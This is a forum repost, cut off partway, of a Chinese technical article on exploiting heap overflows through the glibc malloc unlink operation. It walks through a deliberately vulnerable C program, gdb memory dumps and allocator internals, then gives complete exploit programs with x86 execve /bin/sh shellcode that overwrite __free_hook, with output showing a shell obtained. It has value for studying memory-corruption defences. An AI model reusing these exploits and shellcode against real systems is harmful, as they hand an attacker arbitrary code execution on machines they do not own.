LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 7212|回复: 12

一种新的Heap区溢出技术分析[转贴]

[复制链接]
发表于 2003-7-3 22:46:41 | 显示全部楼层 |阅读模式
作者:warning3 < maito:warning3@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-3-09
原文出处:http://www.nsfocus.net/index.php ... 6%BC%BC%CA%F5%B7%D6
     ★ 前言

  通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来
  完成攻击。这方面内容请参看我原来翻译整理的<HEAP/BSS 溢出机理分析>:
  http://magazine.nsfocus.com/detail.asp?id=353
  如果系统中没有这些条件,尽管能够发生溢出,攻击者仍然很难执行自己的代码。
  这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap
  攻击的可能性大大增加了。
  
  注:下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21)

★ 目录

    1. 简单介绍
    2. 一个简单的例子
    3. malloc/calloc/realloc/free的基本概念
    4. 两种可能的攻击方法
    5. 针对弱点程序的两个演示程序
    6. 实例: Traceroute "-g"问题
   
★ 正文

1. 简单介绍

使用malloc()或者calloc()可以动态分配一段内存,并向用户返回一个内存地
址,而实际上这个地址前面通常有8个字节的内部结构,用来记录分配的块长度
以及一些标志。如果这些结构的内容被覆盖,在某些malloc实现下,可能导致
攻击者将任意数据写到一个任意内存地址中去,从而可能改变程序执行流向,
以至执行任意代码。

2. 一个简单的例子

下面我们来看一个简单的例子,这是一个非常典型的Heap溢出问题程序。它分
配两块内存,然后向其中的一块拷贝了一些数据,由于没有检查数据长度,发
生溢出。

  1. /* A simple vulnerable program for malloc/free test - vul.c
  2. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  3. *                                     2001/03/05
  4. */

  5. #include <stdlib.h>

  6. int
  7. main (int argc, char *argv[])
  8. {
  9.   char *buf, *buf1;

  10.   buf = malloc (16); /* 分配两块16字节内存 */
  11.   buf1 = malloc (16);
  12.   
  13.   if (argc > 1)
  14.     memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */

  15.   printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);
  16.   printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1);
  17.   printf ("From buf to buf1 : %d\n\n", buf1 - buf);

  18.   printf ("Before free buf\n");
  19.   free (buf); /* 释放buf */
  20.   printf ("Before free buf1\n");
  21.   free (buf1); /* 释放buf1 */

  22.   return 0;
  23. } /* End of main */
复制代码

现在让我们来看看结果:

[warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'`
0x8049768 [ buf  ] (16) : AAAAAAAAAAAAAAAA <-- 一切正常
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24    <-- 两个buffer之间相差 16+8=24 字节     

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'`
0x8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAA <-- 为什么会是21字节??
0x8049780 [ buf1 ] (00) :  <-- 溢出的数据还没有进入buf1"境内"
From buf to buf1 : 24

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'`
0x8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- 这次字节数对了
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped) <-- 出现可爱的段错误了
<-- " Before free buf1"怎么没有出现?说明段错误发生在执行free(buf)时

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'`
0x8049768 [ buf  ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (04) : AAAA <-- 这回溢出的数据才算到达buf1"境内"
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped)

看起来,似乎这种段错误并不足以让我们执行自己代码,因为覆盖的地方既没有
函数指针,也没有任何所能利用的变量或结构,更别提返回地址了。别着急,接
下来我就会告诉你怎么利用free()来得到我们的shell.在正式开始之前,我要先
讲一下malloc/calloc/realloc/free的基本概念。

3. malloc/calloc/realloc/free的基本概念

malloc/calloc/realloc/free这几个函数,是用来分配或释放动态内存的。

目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成
的。我们下面所讲的,都是指这一版本的实现。

从Linux的Man手册MALLOC(3)中看到这些函数原型如下:

       void *calloc(size_t nmemb, size_t size);
       void *malloc(size_t size);
       void free(void *ptr);
       void *realloc(void *ptr, size_t size);

calloc()用来分配nmemb个size大小的内存块,并返回一个可用内存地址。
         它会自动将得到的内存块全部清零。
         
malloc()用来分配size大小的内存块,并返回一个可用内存地址。

free()释放ptr所指向的内存。
      
realloc()用来将ptr指向的一块内存的大小改变为size.

我们需要注意的是free()和realloc()函数。它们都是比较危险的函数,如果
所提供的地址指针ptr所指向的内存是已经释放的,或者不是由malloc类函数
分配的话,就可能发生不可预料的情况。我们要利用的,也就是这些"不可预
料"的情况。

由于calloc()和malloc()差别不大,实际上都是调用的chunk_alloc()函数来
进行分配的,区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配
的内存块清零。因此后面除非特别指出,我们就只以malloc()为例.

malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。

struct malloc_chunk
{
  INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
  INTERNAL_SIZE_T size;      /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;   /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

prev_size是上一个块的大小,只在上一个块空闲的情况下才被填充
size是当前块的大小,它包括prev_size和size成员的大小(8字节)
fd是双向链表的向前指针,指向下一个块。这个成员只在空闲块中使用
bk是双向链表的向后指针,指向上一个块。这个成员只在空闲块中使用

对于已分配的内存,除了分配用户指定大小的内存空间外,还在前面增加了
malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示:


            0                              16                               32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             上一个块的字节数(如果上一个块空闲的话)        | |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             当前块的字节数 (size)                         |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             用户数据开始...                                   .
            .                                                               .
            .             (用户可以用空间大小)                              .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

这里chunk指针是malloc()在内部使用的,而返回给用户的是mem指针(chunk +
8),实际上向用户隐藏了一个内部结构。也就是说,如果用户要求分配size字节
内存,实际上至少分配size+8字节,只是用户可用的就是size字节(这里先不考
虑对齐问题)。nextchunk指向下一个内存块。


对于空闲(或者说已经释放的)块,是存放在一个双向循环链表(参见上面的
malloc_chunk结构)中的。

在内存中的分布基本如下图所示:

            0                              16                               32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             上一个块的字节数(prev_size)                       |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |              当前块的字节数 (size)                        |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             前指针(指向链表中的下一个块)                      |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             后指针(指向链表中的上一个块)                      |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             未被双向链表使用的空间(也可能是0字节长)           .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             上一个块的字节数 (等于chunk->size)                |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

大家可能主要到两个表中都有一个""标志,它是"当前块字节数"(chunk->size)
中的最低一位,表示是否上一块正在被使用。如果P位置一,则表示上一块正在被
使用,这时chunk->prev_size通常为零;如果P位清零,则表示上一块是空闲块,
这是chunk->prev_size就会填充上一块的长度。

"M"位是表示此内存块是不是由mmap()分配的,如果置一,则是由mmap()分配的,
那么在释放时会由munmap_chunk()去释放;否则,释放时由chunk_free()完成。

这两位标志相关定义为:

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

由于malloc实现中是8字节对齐的,size的低3位总是不会被使用的,所以在实际
计算chunk大小时,要去掉标志位。例如:
#define chunksize(p) ((p)->size & ~(SIZE_BITS))

一次malloc最小分配的长度至少为16字节,例如malloc(0).(上面说的长度是指
chunk的长度)

了解了上面这些基本概念,我们再来看看free(mem)时做了些什么:

首先将mem转换为chunk(mem-8),并调用chunk_free()来释放chunk所指的内存块。

然后程序会检查其相邻(包括前后)的内存块是不是空闲的:
  如果是空闲块的话,就将该相邻块从链表中摘除(unlink),然后将这些相邻的空
  闲块合并;
  如果不是空闲块的话,就只是设置后一个相邻块的prev_size和size(清
  PREV_INUSE标志)。
   
最后将得到的空闲块加入到双向链表中去。
 楼主| 发表于 2003-7-3 22:51:18 | 显示全部楼层
在进行unlink操作时,实际上就是执行了一个链表结点的删除工作。
比如,如果要从链表中删除chunk结点,所要做得就是:
chunk0->fd <== chunk->fd
chunk1->bk <== chunk->bk

如下所示:

     chunk0                      chunk                    chunk1
+----------------------+..+----------------------+..+----------------------+
|prev_size|size|*fd|*bk|  |prev_size|size|*fd|*bk|  |prev_size|size|*fd|*bk|
+----------------^-----+..+----------------+---+-+..+--------------------^-+
                  |_________________________|   |_________________________|

malloc实现中是使用了一个unlink宏来完成这个操作的,定义如下:
/* take a chunk off a list */

#define unlink(P, BK, FD)                                                   \
{                                                                           \
  BK = P->bk;                                                               \
  FD = P->fd;                                                               \
  FD->bk = BK;                                                              \
  BK->fd = FD;                                                              \
}         

发现了吗?这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk
的话,那么chunk->fd就会写到(chunk->bk + 8)这个地址,而chunk->bk就会被
写到(chunk->fd + 12)这个地址!换句话说,我们可以将任意4个字节写到任意
一个内存地址中去!!我们就可能改变程序的流程,比如覆盖函数返回地址、
覆盖PLT表项、.dtor结构等等,这不正是我们所要的吗?

free()和realloc()中都有unlink操作,因此我们要做的就是要想办法用合适的
值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。

下面让我们再回到开头的那个问题程序,看一下如何攻击它。

4. 两种可能的攻击方法

先来看看弱点程序是怎么出错的:

[warning3@redhat-6 malloc]$ gdb ./vul -q
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r `perl -e 'print "A"x21'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'`

Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
10        buf = malloc (16); /* 分配两块16字节内存 */
(gdb) n
11        buf1 = malloc (16);
(gdb) p/x buf
$1 = 0x8049768
(gdb) x/20x buf-8
0x8049760:   p: 0x00000000      0x00000019  buf:0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000     *0x00000000     #0x00000889
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000000      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ p表示内存块内部指针 ]

[ 注意上面加*号的地方,这里开始的结点是链表中的top结点, #号处是它的长度 ]

(gdb) p/x *(buf-4)   <--- 这里存放的是当前块的大小,设置了PREV_INUSE位
$3 = 0x19
(gdb) p/x *(buf-4)&~0x1 <-- 算一下实际长度: 0x18 = 0x10 + 0x8
$4 = 0x18
(gdb) n
13        if (argc > 1)
(gdb) p/x buf1        <-- 分配第二块内存  
$5 = 0x8049780

(gdb) x/20x buf-8
0x8049760:    p:0x00000000      0x00000019  buf:0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000   p1:0x00000000      0x00000019
0x8049780: buf1:0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:     *0x00000000     #0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ p1表示内存块内部指针 ]

[ 我们看到top结点后移了0x18字节,长度也缩小了0x18字节 ]

(gdb) n
13        if (argc > 1)
(gdb) n
14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) n
16        printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760:    p:0x00000000      0x00000019  buf:0x41414141      0x41414141
0x8049770:      0x41414141      0x41414141  p1: 0x41414141      0x00000019
0x8049780: buf1:0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ]
[ 紧接着的那个字节0x19是p1块的长度,所以下面再计算strlen(buf)时得到的长度为 ]
[ 21.现在你应该明白开头那个问题的答案了吧                                   ]

(gdb) c
Continuing.
0x8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24

Before free buf
Before free buf1

由于上面的情况下,p1的size部分没有被覆盖,因此系统认为buf前后的块都不
是空闲的,因此就不会有unlink操作,也就不会有段错误发生了。如果我们再增
加几个字节,就没有那么"幸运"了.

(gdb) b 14
Breakpoint 1 at 0x80484ca: file vul.c, line 14.
(gdb) r `perl -e 'print "A"x24'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'`

Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) x/20x buf-8
0x8049760:      0x00000000      0x00000019      0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000      0x00000000      0x00000019
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) n
16        printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760:      0x00000000      0x00000019      0x41414141      0x41414141
0x8049770:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) b 21 <-- 这时候buf1的内部结构(prev_size和size)已经被覆盖了
Breakpoint 2 at 0x804855e: file vul.c, line 21.
(gdb) c
Continuing.
0x8049768 [ buf  ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24

Before free buf

Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
21        free (buf); /* 释放buf */
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100
3100    malloc.c: No such file or directory.
(gdb) x/i $pc
0x400740c4 <chunk_free+268>:    testb  $0x1,0x4(%ecx,%esi,1)
(gdb) i r $ecx
ecx            0x41414140       1094795584 <-- 这个是覆盖后p1的块长度
(gdb) i r $esi
esi            0x8049778        134518648  <-- 这个是p1块的地址

下面我们来看free()是怎么工作的,以便确定到底是哪里发生了段错误。注意
下面的代码做了一些简化:

  1. void fREe(Void_t* mem)
  2. {
  3. ...

  4. (a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置,则调用munmap_chunk() */
  5.   {
  6.     munmap_chunk(p);
  7.     return;
  8.   }
  9. ...
  10.   p = mem2chunk(mem);  /* 将用户地址转换成内部地址: p = mem - 8 */
  11. ...
  12.   chunk_free(ar_ptr, p);
  13. }
  14.    
  15. static void
  16. internal_function
  17. chunk_free(arena *ar_ptr, mchunkptr p)
  18. {
  19.   INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址  */
  20.   INTERNAL_SIZE_T sz;  /* 当前块大小 */
  21.   INTERNAL_SIZE_T nextsz; /* 下一个块大小 */
  22.   INTERNAL_SIZE_T prevsz; /* 上一个块大小 */
  23.   
  24.   ...
  25.   
  26.   check_inuse_chunk(ar_ptr, p);

  27.   sz = hd & ~PREV_INUSE;  /* 取得当前块的真实大小  */
  28.   next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */
  29.   nextsz = chunksize(next); /* 得到下一个块的真实大小
  30.                              * #define chunksize(p) ((p)->size & ~(SIZE_BITS))
  31.                              */

  32. if (next == top(ar_ptr))  /* 如果下一个块是头结点,则与之合并 */
  33.   {
  34.     sz += nextsz;

  35. (b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
  36.     {
  37.       prevsz = p->prev_size;
  38.       p = chunk_at_offset(p, -prevsz);
  39.       sz += prevsz;
  40.       unlink(p, bck, fwd);  /* 从链表中删除上一个结点 */
  41.     }

  42.     set_head(p, sz | PREV_INUSE);
  43.     top(ar_ptr) = p;

  44.      .....  
  45.   }

  46. /* 如果下一个块不是头结点 */  

  47. (b)  if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
  48.   {
  49.     prevsz = p->prev_size;
  50.     p = chunk_at_offset(p, -prevsz);
  51.     sz += prevsz;

  52.     if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
  53.       islr = 1;
  54.     else
  55.       unlink(p, bck, fwd);   /* 从链表中删除上一个结点 */
  56.   }

  57.    /* 根据我的判断,刚才的程序,是在进行这个检查时发生段错误的 */
  58. (c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的,则与之合并*/
  59.   {
  60.     sz += nextsz;

  61.    if (!islr && next->fd == last_remainder(ar_ptr))
  62.                                               /* re-insert last_remainder */
  63.     {
  64.       islr = 1;
  65.       link_last_remainder(ar_ptr, p);
  66.     }
  67.     else
  68.       unlink(next, bck, fwd);/* 从链表中删除下一个结点 */

  69.     next = chunk_at_offset(p, sz);
  70.   }
  71.   else
  72.     set_head(next, nextsz); /* 如果前后两个块都不是空闲的,则将下一个块的size
  73.                                中的PREV_INUSE位清零 */  

  74.   set_head(p, sz | PREV_INUSE);
  75.   next->prev_size = sz;   /* 将下一个块的prev_size部分填成当前块的大小 */
  76.   if (!islr)
  77.     frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */

  78.   .....
  79. }
复制代码

我们看到这里面有3个地方调用了unlink.如果想要执行它们,需要满足下列条件:

1. (a) 当前块的IS_MMAPPED位必须被清零,否则不会执行chunk_free()
2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零)
    或者
    (c) 下一个块是个空闲块(下下一个块(p->next->next)size的PREV_INUSE位清零)

我们的弱点程序发生溢出时,可以覆盖下一个块的内部结构,但是并不能修改当前
块的内部结构,因此条件(b)是满足不了的。我们只能寄希望于条件(c).

所谓下下一个块的地址其实是由下一个块的数据来推算出来的,因此,既然我们
可以完全控制下一个块的数据,就可以让下下一个块的size的PREV_INUSE位为零。
这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2,下
下一个块为块3,如下图所示:
   
      块1                      块2                    伪造的块3
+----------------------+------------------------+..+-------------------------+
|prev_size|size|16bytes|prev_size2|size2|fd2|bk2|  |prev_size3|size3|任意数据|
+----------------------+------------------------+..+-------------------------+
|                      |                           |
|--> p                 |-->next                    |-->next2next

next = p + (size & ~PREV_INUSE)
next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))

因此,只要我们能够通过修改size2,使得next2next指向一个我们控制的地址。
我们在这个地址伪造一个块3,使得此块的size3的PREV_INUSE位置零即可!

然后,在fd2处填入要覆盖的地址,例如函数返回地址等等。Solar Designer建议
可以使用__free_hook()的地址,这样再下一次调用free()时就会执行我们的代码。

在bk2处可以填入shellcode的地址。

实际构造的时候块2的结构如下:

  prev_size2 = 0x11223344  /* 可以使用任意值 */                                                  
  size2      = (next2next - next) /* 这个数值必须是4的倍数 */
  fd2        = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
  bk2        = shellcode /* 这将导致fd2被写到shellcode + 8这个地址,所以需要
                            在shellcode前面放一段跳转语句以跳过fd2 */
                           
伪造的块3则要求很低,只需要让size3的最后一位为0即可:

prev_size3 = 0x11223344 /* 可以使用任意值 */
size3 = 0xffffffff & ~PREV_INUSE  /* 这里的0xffffffff可以用任意非零值替换 */

这个伪造的块可以放在任意可能的位置,例如块2的前面或者后面。如果要放在
块2的后面,由于size2是4个字节,因此如果距离比较小的话,那么size2是肯定
要包含零字节的,这会中断数据拷贝,因此距离必须足够远,以至于四个字节均
不为零,堆栈段是一个不错的选择,通过设置环境变量等方法我们也可以准确的
得到块3的地址。
如果我们要将块3放到块2的前面,那么size2就是个负值,通常是0xffffffxx等
等。这肯定满足size2不为零的要求,另外,这个距离我们也可以很精确的指定。
因此我们决定采用这种方法。

      块1                (     块3     )              块2
+---------------------------------------+------------------------+
|prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
                |       |<---- 8 字节 -->|
                |                        |
                |<-----  16字节 -------->|

在上面的图上,我们将块3的8字节的内部结构放在了块1的用户数据区中,而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段,而块2的prev_size我们也不关心,我们还可以有更简化的
版本:将块3往右移动4个字节,即让siez3与prev_size2重合!

|     块1                  |....  块3 ..|     块2                |
+---------------------------------------+------------------------+
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
                |           |<-- 4字节-->|  (size3)
                |                        |
                |<-----  16字节 -------->|

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下:

  prev_size2 = 0x11223344 & ~PREV_INUSE  /* 我们用原来的size3代替 */
  size2      = 0xfffffffc /* 长度为-4 */
  fd2        = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
  bk2        = shellcode
  
  至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
  我们的工作就大大简化了,只需要构造一个块2就可以了!
  现在我们看看我们要做的事情:
  
  i. 使用32字节数据模板,前16字节是任意非零数值,而后16字节是我们伪造的
     块2
  
  ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
      $ [warning3@redhat-6 malloc]$  gdb ./vul -e
      (gdb) b main
      Breakpoint 1 at 0x80484a6: file vul.c, line 10.
      (gdb) r
      Starting program: /home/warning3/malloc/./vul
      
      Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
      10        buf = malloc (16); /* 分配两块16字节内存 */
      (gdb) p/x &__free_hook
      $2 = 0x401091b8
  
  iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码,以便
       跳过一个malloc_chunk结构,因为(__free_hook-12)这个值会被写到
       shellcode+8处.
       +--------+---------------------+---------------+
       |jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
       +--------+---------------------+---------------+               
                |<----   10字节  ---->|
 楼主| 发表于 2003-7-3 22:56:21 | 显示全部楼层
5. 一个演示程序

下面我们就可以来写溢出程序了,其实是相当简单的:

  1. /* Exploit for free() with unlinking next chunk - ex.c
  2. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  3. *                                     2001/03/06
  4. */

  5. #include <stdio.h>
  6. #include <stdlib.h>

  7. #define __FREE_HOOK     0x401091b8  /* __free_hook()地址 */
  8. #define VULPROG "./vul"

  9. #define PREV_INUSE 0x1
  10. #define IS_MMAPPED 0x2

  11. char shellcode[] =
  12.   "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
  13.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  14.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  15.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  16. main (int argc, char **argv)
  17. {
  18.   unsigned int codeaddr = 0;
  19.   char buf[128], fake_chunk[16];
  20.   char *env[2];
  21.   unsigned int *ptr;

  22.   /* 计算shellcode在堆栈中的地址 */
  23.   codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  24.   env[0] = shellcode;
  25.   env[1] = NULL;

  26.   /* 伪造一个块结构 */
  27.   ptr = (unsigned int *) fake_chunk;
  28.   *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
  29.   /* 设置长度为-4,这个值应当是4的倍数 */
  30.   *ptr++ = 0xfffffffc;
  31.   *ptr++ = __FREE_HOOK - 12 ;
  32.   *ptr++ = codeaddr;
  33.   
  34.   bzero(buf, 128);
  35.   memset (buf, 'A', 16); /* 填充无用数据 */
  36.   memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
  37.   
  38.   execle (VULPROG, VULPROG, buf, NULL, env);

  39. } /* End of main */
复制代码

运行一下看看:

[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf  ] (32) : AAAAAAAAAAAAAAAA???????瑧@???
0x8049780 [ buf1 ] (08) : 瑧@???
From buf to buf1 : 24

Before free buf
Before free buf1
bash$            <---  成功了!!

是不是很简单?:-)

小节:

现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部
结构的指针(chunk = mem - 8)。

我们有两种方法:
1. 如果我们想利用上一块的unlink进行攻击,需要保证:
       I. chunk->size的IS_MMAPPED位为零
      II. chunk->size的PREV_INUSE位为零
     III. chunk + chunk->prev_size指向一个我们控制的伪造块结构;
      IV. 在一个确定的位置构造一个伪块
      
2. 如果想利用下一个块的unlink进行攻击,需要保证:
       I.  chunk->size的IS_MMAPPED位为零
      II.  chunk->size的PREV_INUSE位为一
     III.  chunk + nextsz 指向一个我们控制的伪造块结构。
           (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
      IV. 在一个确定的位置构造一个伪块        
      
其中伪块(fake_chunk)的结构如下:

  fake_chunk[0]  = 0x11223344 & ~PREV_INUSE (只在第2种情况下有意义)
  fake_chunk[4]  = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2种情况下有意义)
  fake_chunk[8]  = objaddr - 12 ; (objaddr是要覆盖的目标地址)
  fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)

至于具体使用上面哪种方法,需要根据实际情况确定。例如,如果你不能控制
chunk->prev_size使其指向我们的伪块,那就不能用第一种方法了。

我们再看一个利用上一块的unlink进行攻击的例子,只要将弱点程序的free(buf1)放到
free(buf)前面即可,这样我们所free的buf1就是一个我们可以控制的内存块了。
改动后的vul.c如下:
...
  printf ("Before free buf1\n");
  free (buf1); /* 释放buf1 */
  printf ("Before free buf\n");
  free (buf); /* 释放buf */
...

看看我们的新演示程序吧:  

  1. /* Exploit for free() with unlinking previous chunk - ex1.c
  2. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  3. *                                     2001/03/06
  4. */

  5. #include <stdio.h>
  6. #include <stdlib.h>

  7. #define __FREE_HOOK     0x401091b8      /* __free_hook()地址 */
  8. #define VULPROG "./vul"

  9. #define PREV_INUSE 0x1
  10. #define IS_MMAPPED 0x2

  11. char shellcode[] =
  12.   "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */
  13.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  14.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  15.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  16. main (int argc, char **argv)
  17. {
  18.   unsigned int codeaddr = 0;
  19.   char buf[128], fake_chunk[16];
  20.   char *env[2];
  21.   unsigned int *ptr;

  22.   /* 计算shellcode在堆栈中的地址 */
  23.   codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  24.   env[0] = shellcode;
  25.   env[1] = NULL;

  26.   /* 伪造一个块结构。 */
  27.   ptr = (unsigned int *) fake_chunk;
  28.   *ptr++ = 0x11223344 & ~PREV_INUSE;
  29.   *ptr++ = 0xfffffffc;
  30.   *ptr++ = __FREE_HOOK - 12;
  31.   *ptr++ = codeaddr;

  32.   bzero (buf, 128);
  33.   memset (buf, 'A', 16);
  34.   ptr = (unsigned int *) (buf + 16);
  35.   
  36.   /* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
  37.   *ptr++ = 0xfffffff8;
  38.   
  39.   /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
